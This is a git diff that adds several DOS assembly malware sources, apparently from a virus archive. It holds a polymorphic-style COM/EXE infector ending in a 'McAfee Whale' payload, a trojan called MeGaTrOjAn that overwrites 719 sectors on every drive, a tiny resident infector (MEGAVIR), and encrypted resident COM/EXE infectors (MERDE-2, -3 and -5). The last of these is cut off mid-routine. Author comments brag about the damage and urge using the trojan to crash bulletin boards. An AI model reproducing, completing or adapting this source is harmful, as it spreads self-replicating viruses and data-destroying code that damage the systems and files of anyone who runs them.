[bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h ; + ;cmp dh,4 ; Check month + ;jb exit_virus ; + ;cmp dl,15 ; Check date + ;jnz exit_virus ; + + ;mov ah,2ch ; Get current time + ;int 21h + cmp dl,40 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate proc far + +start: + jmp loc_1 +data_1 db 0 +data_2 dw 0 + db 62h, 79h + db ' ABRAXAS - ' +copyright db '(c) 1992 Abraxas Warez.' + db '.....................................BEWARE!!!............' + db '....................' +data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote' + db '.....the.....WHALE.....virus!!!' + db '..............................HONEST!!!....................................$' +loc_1: + push si + push di + mov si,80h + cld ; Clear direction + call sub_1 + cmp byte ptr [si],0Dh + je loc_4 ; Jump if equal + mov cx,28h + lea di,data_5 ; ('Attention: Please press ') Load ef +locloop_2: + lodsb ; String [si] to al + cmp al,0Dh + je loc_3 ; Jump if equal + stosb ; Store al to es:[di] + loop locloop_2 ; Loop if cx > 0 +loc_3: + inc cx + mov al,2Eh ; '.' + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_4: + pop di + pop si + mov ah,3 + mov bh,0 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + + mov data_2,cx + mov ah,1 + mov cx,0F00h + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov ah,2 + mov dh,18h + mov dl,13h + int 10h ; Video display ah=functn 02h + ; set cursor location in dx +loc_5: + mov data_1,0FFh +loc_6: + add data_1,1 + mov bl,data_1 + mov bh,0 + mov cx,27h + call sub_2 + +locloop_7: + mov al,byte ptr copyright+20h[bx] ; ('.') + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + inc bx + call sub_3 + mov dl,0FFh + mov ah,6 + int 21h ; DOS Services ah=function 06h + ; special char i/o, dl=subfunc + jnz loc_10 ; Jump if not zero + loop locloop_7 ; Loop if cx > 0 + + cmp byte ptr copyright+20h[bx],24h ; ('.') '$' + je loc_5 ; Jump if equal + jmp short loc_6 + +activate endp + +sub_1 proc near +loc_8: + inc si + cmp byte ptr [si],20h ; ' ' + je loc_8 ; Jump if equal + retn +sub_1 endp + +sub_2 proc near + push ax + push bx + push cx + push dx + mov dx,si + mov cx,di + mov al,4 + mov ah,0ch + int 10h + mov ah,2 + mov dh,8h + mov dl,14h + mov cx,30 + int 10h ; Video display ah=functn 02h + mov ah,10h + mov al,0 + mov bl,4 + mov bh,63 + int 10h + pop dx + pop cx + pop bx + pop ax + + retn +sub_2 endp + +sub_3 proc near + push cx + mov cx,258h +locloop_9: + loop locloop_9 ; Loop if cx > 0 + pop cx + retn +sub_3 endp + +loc_10: + call sub_2 + mov cx,4Fh +locloop_11: + mov al,20h ; ' ' + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + loop locloop_11 ; Loop if cx > 0 + + mov ah,1 + mov cx,data_2 + int 10h ; Video display ah=functn 01h + int 20h ; DOS program terminate + jmp exit_virus + +creator db '[MPC]',0 ; BIG SIGN!!! +virusname db "[McAfee' Whale]",0 ; That's it!! +author db '[pAgE]',0 ; Nah! Not me! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/m/MEGATROJ.ASM b/m/MEGATROJ.ASM new file mode 100755 index 0000000..261f9a3 --- /dev/null +++ b/m/MEGATROJ.ASM @@ -0,0 +1,5 @@ +;****************************************************************************** ; The High Evolutionary's [MeGaTrOjAn] v1.0 ;****************************************************************************** ; ; Development Notes: (Dec.12.9O) ; ------------------------------ ; ; Hi guys. It's me again. Here is my latest work of Trojanic Art. This does ; alot more damage than my old Trojan (Int 13 method). This one uses INT 26 ; instead that overwrites 719 sectors of each hard-drive. ; ; I managed to fix the error on crashing after INT 26. The problem lied in ; the restoration of the flags after the INT was called. ; ; I also have an encrypted message in this one. Rather nice if I do say so ; myself. Check out the commented lines to read the message. ; (It gets written to sector 0 of each drive. Do view it, use NU /M) ; ; I also fixed a small bug in my old encryption routine. Check out this source ; for the latest modifications and fixes, but it works great now... ; ; Have phun... ; ; -= The High Evolutionary =- ; ; PS: Use this to crash those lame-ass TeleGard Boards... ; ;****************************************************************************** ; Written by The High Evolutionary ; ; Property of The RABID Nat'nl Development Corp. ; ; NOT TO BE DISTRIBUTED TO ANY OUTSIDE GROUPS OR AGENCIES ; (Well, at least the source code. I don't give a fuck what you do with ; the compiled file...) ;****************************************************************************** code segment assume cs:code,ds:code,es:code org 100h @fry macro drive,sectors pushf ; Push all flags onto the stack mov al,drive ; Select drive to fry mov cx,sectors ; Choose amount of sectors mov dx,0 ; Set format to start at sec. 0 mov bx,offset dest ; Set format to have IDENT ; string imbedded in sector 0 int 26h ; Call BIOS to fry drive popf ; Restore the flags we pushed endm start: jmp decrypt ; ; BAHA! Rather sympathetic message eh guys? ; ;ident db "Ooops! Looks like you have a slight problem. This drive ",13,10 ; db "is fried! Why? Well, that's easy... RABID''s the answer... ",13,10 ; db "Your security sucks shit!!! Time to upgrade... Let me ",13,10 ; db "give you a little hint to speed up your recovery. Reformat ",13,10 ; db "your hard-drive. MIRROR, SF and any other nifty utils are ",13,10 ; db "useless against RABID''s [MeGaTrOjAn]... Have phun guys! ",13,10 ; db " - RABID '91",13,10 ident db "Nnnqr !Mnnjr!mhjd!xnt!i`wd!`!rmhfiu!qsncmdl/!Uihr!eshwd! h" db "r!gshde !Vix>!Vdmm-!ui`u&r!d`rx///!S@CHE&r!uid!`orvds///! " db "Xnts!rdbtshux!rtbjr!rihu !Uhld!un!tqfs`ed///!Mdu!ld! fhw" db "d!xnt!`!mhuumd!ihou!un!rqdde!tq!xnts!sdbnwdsx/!Sdgnsl`u! x" db "nts!i`se,eshwd/!LHSSNS-!RG-!`oe!`ox!nuids!ohgux!tuhmr!`sd! " db "trdmdrr!`f`horu!S@CHE&r!ZLdF`UsNk@o\///!I`wd!qito!ftxr ! " db "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!S@CHE!&80 " lident equ $-ident ; Find the length of string dest db [lident-1/2] dup (?) ; Blank field for decrypt temp db 0 ; Temp char field haha db 2 ; HAHA is the drive to be ; nuked! hoho dw 719 ; HOHO is the number of sectors ; to make into Kaka! ; ; (Can't you tell I'm in the Christmas Spirit...) ; decrypt: mov cx,lident ; Move length of string ; into CX mov si,offset ident ; Move string into SI mov di,offset dest ; Specify dest in DI doshit: mov al,ds:[si] ; Get a charachter mov temp,al ; Copy it to temp xor byte ptr ds:[temp],01h ; XOR it with 01h mov al,temp ; Copy temp to AL mov [di],al ; Copy AL into dest inc si ; Inc SI inc di ; Inc DI loop doshit ; Back for the next charachter ; until CX=0 main: cmp haha,27 ; Check to see if drive Z is ; fried jge quit ; If yeah. Then gedoudahere @fry haha,hoho ; No? Then fry the drive... inc haha ; Add 1 to HAHA jmp main ; Then go up and fry another quit: mov ax,4c00h ; Set terminate program with ; error code 00 int 21h ; Call DOS to gedoudahere code ends end start +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/m/MEGAVIR.asm b/m/MEGAVIR.asm new file mode 100755 index 0000000..8eef5d8 --- /dev/null +++ b/m/MEGAVIR.asm @@ -0,0 +1,97 @@ + +ideal +p386 +model tiny +codeseg +startupcode + +n_int=len/4+82h + +;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/ + +;Expected values in registers at entry point: bx=0 ch=0 +;Compile to COM + + call start +old_3: int 20h + nop +start: pop di + dec di + dec di + mov si,[di] + dec di + push di + add si,di + movsw + movsb + shl di,1 + mov es,bx + cmpsb + je in_m + dec si + dec di + mov cl,len + rep + movsb + + mov ax,OFFSET int21+100h + cwde + xchg eax,[es:84h] + stosd +in_m: push ds + pop es + retn + +call0: mov ax,4000h +call1: push ax + int 21h + pop ax + mov ah,42h + cwd +call2: xor cx,cx + int 21h + mov cl,3 + mov si,203h + mov dx,si + retn + +int21: cmp ax,4B00h + jne noinf + pusha + push ds + + mov ax,3D02h + call call2 + xchg bx,ax + jc fail + push cs + pop ds + mov ax,3F02h + + call call1 + xchg bp,ax + mov cl,len+3 + + lodsb + cmp al,'M' + je close + cmp al,0E8h + je close + + call call0 + + mov [BYTE si],0E8h + mov [WORD si+1],bp + call call0 + +close: mov ah,3Eh + int 21h +fail: pop ds + popa +noinf: ;rept ($-start+1) mod 4 + ;db 90h + ;endm + db 0EAh + +len=$-start +end \ No newline at end of file diff --git a/m/MERDE-2.ASM b/m/MERDE-2.ASM new file mode 100755 index 0000000..7cdf78e --- /dev/null +++ b/m/MERDE-2.ASM @@ -0,0 +1,203 @@ +;well, here's the next installment of the merde virus...all that is new; +;is your run of the mill xor encryption........and a little change in; +;the code itself to make it slightly more modular...; +;up+coming: .exe version(why put 'em together? makes it too big); +; an actual function besides infect!; +; TSR infect version?; +attrib equ 21 +time equ 22 +date equ 24 +fspec_address equ 0e4h +filesize equ 26 +fname equ 30 +dta equ 80h +virsize equ 354 +byte_compare_val equ 35 +CODE_SEG SEGMENT BYTE + ASSUME DS:CODE_SEG, CS:CODE_SEG + ORG 100h +first: jmp caller + db 128 dup(00) +caller: call caller2 ;si=this address for the whole thing; + +;ok, for encryption, we use the value of the byte at the jump instruction; +;if the file we find isn't infected...; + +encryptv: db ? + +;si=offset of the "caller"; + +caller2: pop si + sub si,3 + jmp getstart + +;jmp to getstart and have it call us back, getting the address of "start"; +;into es..(I know, why not just add the size of the stuff to si?; +;I'll do it some other time; + +after: pop es ;es=start:; + +;okay, I decided, arbitrarily, to use bp and jump from the encrypt; +;function so it was more unsingular to a particular circumstance; + + mov bp,es ;unencrypt de code+jump to virus; + jmp encrypt + +;if we are being called from the write proc, we need to save BP on the stack; + +encrypt_w: mov ax,bp ;ax=whereto jump at end; + pop bp ;bp=return to write routine; + push ax ;where to jump at end is on stack +;note the standard, run o' the mill encrypt/decrypt!; + +encrypt: push bx ;might not be needed, I'll check later; + push si + mov cl,[si+3] ;offset of encrypt value; + mov bx,es ;where to start encrypting; + xor si,si +xloop: mov al,[bx+si] + xor al,cl + mov [bx+si],al + cmp si,0e7h ;size of post-start(or close enough); + ja done + inc si + jmp xloop + done: pop si + pop bx + jmp bp ;jump whereever we were supposed to; + +write_code: call encrypt_w ;yep, encrypt it; + pop bp ;get back address in this infected file; + mov bx,[di+9] ;file to jump to, and file handle; + mov ah,40h + mov cx,virsize ;total virus size + mov dx,si + int 21h + call close_current + jmp nofiles ;not really, just didn't change name; +;this proc closes the file with original stats; +close_current: + mov dx,[di+14] + mov cx,[di+12] + mov ax,5701h + mov bx,[di+9] + int 21h + mov ah,3eh + int 21h + mov ax,4301h + xor ch,ch + mov cl,[di+11] + int 21h + ret +nofiles: push ds + pop es + jmp bp + +getstart: call after + + +;encrypted from here on out-es=start of this procedure; +start: mov di,es + add di,fspec_address ;di=ADDRESS OF FILESPEC!; + mov dh,[di+18] + mov ah,[di+17] + mov al,[di+16] + mov bx,100h + mov [bx],al + mov [bx+1],ah + mov [bx+2],dh + mov bp,bx + mov ah,4eh ;------------------; + mov cx,33 + mov dx,di ;find file match; +search: int 21h + jc nofiles ;get out if none found; + mov bx,dta+filesize ;compare filesize via BX; + cmp word ptr [bx],65000 + ja leave1 + cmp word ptr [bx],150 + jb leave1 + jmp ok +leave1: mov ah,4fh + jmp search +ok: CLC + + ;Okay-- DI=base of fspec; + mov bx,dta+attrib + mov al,[bx] + mov [di+11],al ;save attrib; + mov ax,word ptr [bx+1] + mov [di+12],ax ;save time; + mov ax,word ptr [bx+3] + mov [di+14],ax ;save date; + mov ax,4301h + mov cx,0 + mov dx,dta+fname + int 21h ;set attrib to 0; +label2: mov ax,3d02h + int 21h + mov [di+9],ax ;open + save handle; + mov bx,ax + mov ah,3fh + mov cx,3 + mov dx,di + add dx,16 ;dx points to save area for first three bytes; + int 21h ;open handle, and read 3 bytes into it; + cmp byte ptr [di+16],0e9h + jne label1 +cont: mov ax,4200h + xor cx,cx + mov dx,[di+17] + add dx,3+byte_compare_val + mov bx,[di+9] + int 21h + mov ah,3fh + mov cx,2 + mov dx,di + add dx,6 + int 21h + mov dx,[di+6] + cmp dx,[si+byte_compare_val] + jne label1 + call close_current + jmp leave1 +label1: + ;set encrypt value here---(low order byte of filesize of next file; + mov bx,dta+filesize + mov dl,[bx] + mov [si+3],dl + mov bx,[di+9] + mov ax,4200h + xor cx,cx + mov dx,0 + int 21h +;okay, this is kinda thick..; +;set pointer to after jmp instruct, and change address to size; +;of file plus 3 for jmp instruction, minding that we have to flip stuff; + mov bx,dta+filesize + mov dh,[bx+1] ;high val equals 2nd part of word+vice versa; + mov dl,[bx] + sub dx,3 + mov [di+7],dx + mov byte ptr [di+6],0e9h + mov ah,40h + mov bx,[di+9] + mov dx,di + add dx,6 + mov cx,3 + int 21h + xor cx,cx + mov ax,4202h + xor dx,dx + int 21h + jmp write_code + +fspec: db '*.com',0 ;bx+0; +disk_buffer: db 3 DUP(?) ;di+6; +handle: dw ? ;di+9; +attribute: db ? ;di+11; +otime: dw ? ;di+12; +odate: dw ? ;di+14; +first_3: db 0cdh,20h,00 ;di+16; +CODE_SEG ENDS +END first \ No newline at end of file diff --git a/m/MERDE-3.ASM b/m/MERDE-3.ASM new file mode 100755 index 0000000..ef2d0a5 --- /dev/null +++ b/m/MERDE-3.ASM @@ -0,0 +1,405 @@ +; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator + +;Well, here it is, for what it's worth.. It is really kind of a +;piece of crap, but it is just a rough draft.. +;NOTES: +; If this gets into Command.Com, it (command) won't work for unknown reasons.. +; I could have fixed it by just checking to make sure the file it is infecting +; isn't command.com, but I decided that this would be it's harmful side effect +; and left it... I will have to fix several things in it, like its memory +; handling, etc... It only infects files when they are loaded for EXECUTION! +; it won't infect .com files loaded by debug via AX=4b03, or al=anything +; except 00.... Also, it hooks int 71 for its own type of multiplex +; interrupt to check if the resident portion is already installed.. +; I don't know if that will get me in trouble or not. This is not very well +; tested, so it may hand under some circumstances or ill-behaved programs +; that mess with the memory (like I did)... Well, I need to add .exe +; infection, or I will be just a wanna-be virus writer! +; At this very moment, I will probably modify it for infection of any function +; that gives INT 21 a DS:DX pointer to a com file. +; Oh, yeah- If you compile it, you have to run the included Maker.bat file +; after you have compiled it (Use Tasm, but I guess anything will work.) + +; Any GOOD virus writers out there will obviously notice how inefficient this +; is, so if you do, leave me mail with some pointers.... + +compare_val equ 900 +interrupt equ 21h +Code_seg Segment Byte + Assume DS:Code_seg, CS:Code_seg + ORG 100h +start: mov di,0100h ;di=start + mov si,bx + add si,offset five_bytes-100h + mov cx,5 + rep movsb + int 71h + cmp ax,9999h + jne okay + mov ax,0100h + xor si,si + xor si,di + xor cx,cx + jmp ax +okay: mov di,bx + sub di,100h + xor ax,ax + mov es,ax + mov ax,es:[interrupt*4] + mov bx,es:[interrupt*4+2] + mov [di+int_21_saveo],ax + mov [di+int_21_saves],bx + push cs + pop es + mov [di+orig_stackp],sp + cli + mov sp,di + add sp,offset my_stack + sti + push ax + push bx + push cx + push dx + push bp + push ds + push es + push si + push di + mov [di+my_stack_save],sp + cli + mov sp,[di+orig_stackp] + sti + int 12h + mov bx,cs + mov cx,1024 + mul cx + clc + mov cx,400h + sub ax,cx + sbb dx,0000 ;dx:ax=where we want this mem to end! + mov [di+high_ram],dx + mov [di+low_ram],ax +here: mov cx,cs + mov ax,0010h + mul cx + clc + mov cx,di + add cx,offset ending + add ax,cx + adc dx,0000 + clc + sub [di+low_ram],ax + sbb [di+high_ram],dx + clc + mov ax,[di+low_ram] + mov dx,[di+high_ram] + mov cx,0010h + div cx ;dx:ax=memory above this-divide it by 16 + mov bx,ax + mov ah,4ah + int 21h + jnc okay_1 + jmp get_out +okay_1: mov ah,48h + mov bx,60h + int 21h + mov [my_segment+di],ax + jnc okay_2 + jmp get_out +okay_2: push di + xor di,di + xor si,si + mov es,ax + mov cx,100h + rep movsb + pop si + push si + add si,100h + mov cx,offset ending-100h + rep movsb + pop di + mov dx,es + sub dx,1 + mov es,dx + mov es:[1],ax + mov byte ptr es:[0],'Z' + mov word ptr es:[3],0000 + mov es,ax + mov es:[16h],ds + mov ax,offset return_to_file + add ax,di + mov es:[0ah],ax + mov es:[0ch],ds + mov ah,50h + mov bx,es + int 21h + mov dx,600h + mov ax,es + mov ds,ax + mov es,ax + push cs + pop ss + mov word ptr cs:[return_to_file+di+1],di + mov sp,600h + int 27h +return_to_file: + mov di,0000 + xor ax,ax + mov es,ax + mov bx,offset my_21 + mov ax,cs:[di+my_segment] + mov word ptr es:[interrupt*4],bx + mov word ptr es:[interrupt*4+2],ax + mov word ptr es:[71h*4+2],ax + mov bx,offset my_71 + mov word ptr es:[71h*4],bx + mov ax,cs + cli + mov ss,ax + mov sp,cs:[my_stack_save+di] + sti + pop di + pop si + pop es + pop ds + pop bp + pop dx + pop cx + pop bx + pop ax + cli + mov sp,cs:[di+orig_stackp] + sti + mov ax,0100h + jmp ax +get_out: + mov ax,cs + cli + mov ss,ax + mov sp,cs:[di+my_stack_save] + sti + pop di + pop si + pop es + pop ds + pop bp + pop dx + pop cx + pop bx + pop ax + cli + mov sp,cs:[di+orig_stackp] + sti + mov ax,0100h + jmp ax + + +;------------------------------------------------------------------ + +my_21: + cmp ah,4bh + je continue_with_it + jmp continue_21 +continue_with_it: + cmp al,00 + je okay_go + jmp continue_21 +okay_go: + push ax + push bx + push cx + push dx + push es + push di + push si + push bp + push es + push ds +check_file: + mov bx,dx + xor si,si +looper: + cmp byte ptr ds:[bx+si],'.' + je check_com + cmp si,35 + jle okay5 + jmp give_up1 +okay5: inc si + jmp looper +check_com: + inc si + cmp byte ptr ds:[bx+si],'c' + je check_for_infection + cmp byte ptr ds:[bx+si],'C' + je check_for_infection + jmp give_up1 +check_for_infection: + mov cs:[high_file],ds + mov cs:[low_file],dx + mov ah,50h ;set PSP to ours + push cs + pop bx + call dos_21 + mov ah,43h + xor al,al + call dos_21 + jnc okay9 + jmp give_up +okay9: mov cs:[attrib],cx + mov ah,43h + mov al,1 + xor cx,cx + call dos_21 + mov ah,3dh + mov al,2 + call dos_21 + jnc okay10 + jmp give_up +okay10: mov cs:[handle],ax + mov bx,ax + mov ah,57h + xor al,al + call dos_21 + mov cs:[date],dx + mov cs:[time],cx + mov al,2 + mov ah,42h + xor dx,dx + xor cx,cx + call dos_21 + jnc okay11 + jmp give_up +okay11: cmp dx,0 + je okay12 + jmp give_up +okay12: mov cs:[file_size],ax + cmp ax,64000 + jb contin1 + call reset_all + jmp give_up +contin1: + cmp ax,1024 + jnb contin2 + call reset_all + jmp give_up +contin2: + sub ax,compare_val + mov dx,ax + xor cx,cx + mov ah,42h + xor al,al + mov bx,cs:[handle] + call dos_21 + mov ah,3fh + push cs + pop ds + mov dx,offset buffer + mov cx,2 + call dos_21 + mov ax,word ptr cs:[buffer] + mov bx,word ptr cs:[offset ending-compare_val] + cmp ax,bx + jne infect_it + call reset_all + jmp give_up +infect_it: + xor cx,cx + xor dx,dx + mov bx,cs:[handle] + mov ax,4200h + call dos_21 + mov ah,3fh + mov cx,5 + push cs + pop ds + mov dx,offset five_bytes + call dos_21 + mov ax,4202h + xor cx,cx + xor dx,dx + call dos_21 + mov ax,cs:[file_size] + add ax,100h + mov word ptr cs:[jumper+1],ax + mov ah,40h + mov cx,offset ending-100h + mov dx,0100h + call dos_21 + xor cx,cx + xor dx,dx + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov dx,offset jumper + mov ah,40h + mov cx,5 + call dos_21 + call reset_all +give_up: + mov ah,50h + mov bx,cs:[high_file] + call dos_21 +give_up1: + pop ds + pop es + pop bp + pop si + pop di + pop es + pop dx + pop cx + pop bx + pop ax + jmp continue_21 +continue_21: + jmp dword ptr cs:[int_21_saveo] +dos_21: + pushf + call dword ptr cs:[int_21_saveo] + ret + +reset_all: + mov bx,cs:[handle] + mov cx,cs:[time] + mov dx,cs:[date] + mov ax,5701h + call dos_21 + mov ah,3eh + mov bx,cs:[handle] + call dos_21 + mov ah,43h + mov al,1 + mov cx,cs:[attrib] + mov ds,cs:[high_file] + mov dx,cs:[low_file] + call dos_21 + ret +my_71: + mov ax,9999h + iret +dw 44 dup(00) +my_stack: +jumper: mov bx,0000 + jmp bx +file_size dw 0000 +high_file dw 0000 +low_file dw 0000 +handle dw 0000 +attrib dw 0000 +date dw 0000 +time dw 0000 +int_21_saveo dw 0000 +int_21_saves dw 0000 +orig_stackp dw 0000 +my_stack_save dw 0000 +high_ram dw 0000 +low_ram dw 0000 +my_segment dw 0000 +buffer: db 10 dup(00) +five_bytes: db 0cdh,20h,90h,90h,90h +my_little_message_to_the_world: + + db 'Scan me, I LIKE IT!!!!-Loki-nator!' +ending: +Code_seg ENDS +END start \ No newline at end of file diff --git a/m/MERDE-5.ASM b/m/MERDE-5.ASM new file mode 100755 index 0000000..54030d7 --- /dev/null +++ b/m/MERDE-5.ASM @@ -0,0 +1,613 @@ +; Okay, here is my newest version.. It now +; offers EXE infection. I messed up command.com +; compatibility so this version won't infect it. +; Also, this version might be a little shakey, +; but it should work okay with most setups +; (I'm not professional yet, so screw 'em +; if this hangs!).. +; This will be the last time I release code for +; my virii. Thanks to firststrike, and anyone else +; who has given me tips..... +; Be careful not to get this, it is kinda hard to get rid +; of (it would be REALLY hard to get rid of if it infected +;command.com- I will have to fix that (along with the TERRIBLE +; inefficiency in my interrupt handler (the loader is OKAY, but +; My_21 is just kind of a jumble of code thrown together for now. +; If you want to vaccinate your system, and you know a little about +; assembler, it isn't that hard. (I gave the come version to +; myself about 3 times). Just take notice of my use of interrupt +; 71...(This will be changed in future versions, for obvious reasons). +; MERDE-5 The merde virus version 5.0- loki + + +compare_val equ 850 +interrupt equ 21h +Code_seg Segment Byte + Assume DS:Code_seg, CS:Code_seg + ORG 100h + +start: call get_ip + +exe_or_com: + dw 'CO' +get_ip: + pop di + sub di,3 + cmp word ptr cs:[di+3],'EX' + jne com_memory_loader + jmp exe_memory_loader + +;Load memory from within an EXE file.. +;------------------------------------------------------------------------------ +exe_memory_loader: + call check_for_int_71 + jc go + call get_memory ;es=my_segment + jnc aaaa + jmp exit_exe +aaaa: + call hide_memory + call set_int_71 + call save_21 + push ds + call move_all_code + pop ds + mov bx,es + call set_21 +go: jmp exit_exe + +;------------------------------------------------------------------------------ +;****************************************************************************** +;------------------------------------------------------------------------------ +;load memory from a COM file... + +com_memory_loader: + call restore_com + call check_for_int_71 + jc go_1 + call get_memory + jnc bbbb + jmp exit_com + +bbbb: call hide_memory + +reset_di: + call set_int_71 + call save_21 + call move_all_code + mov bx,es + call set_21 +go_1: jmp exit_com + +;------------------------------------------------------------------------------ +;Returns ES with my segment (or an error) +;------------------------------------------------------------------------------ +get_memory: + int 12h + mov bx,cs + mov cx,1024 + mul cx + clc + mov cx,600h ;Amount of needed memory + sub ax,cx + sbb dx,0000 ;dx:ax=where we want this mem to end! + mov bx,dx + mov bp,ax ;save this... + mov cx,cs + mov 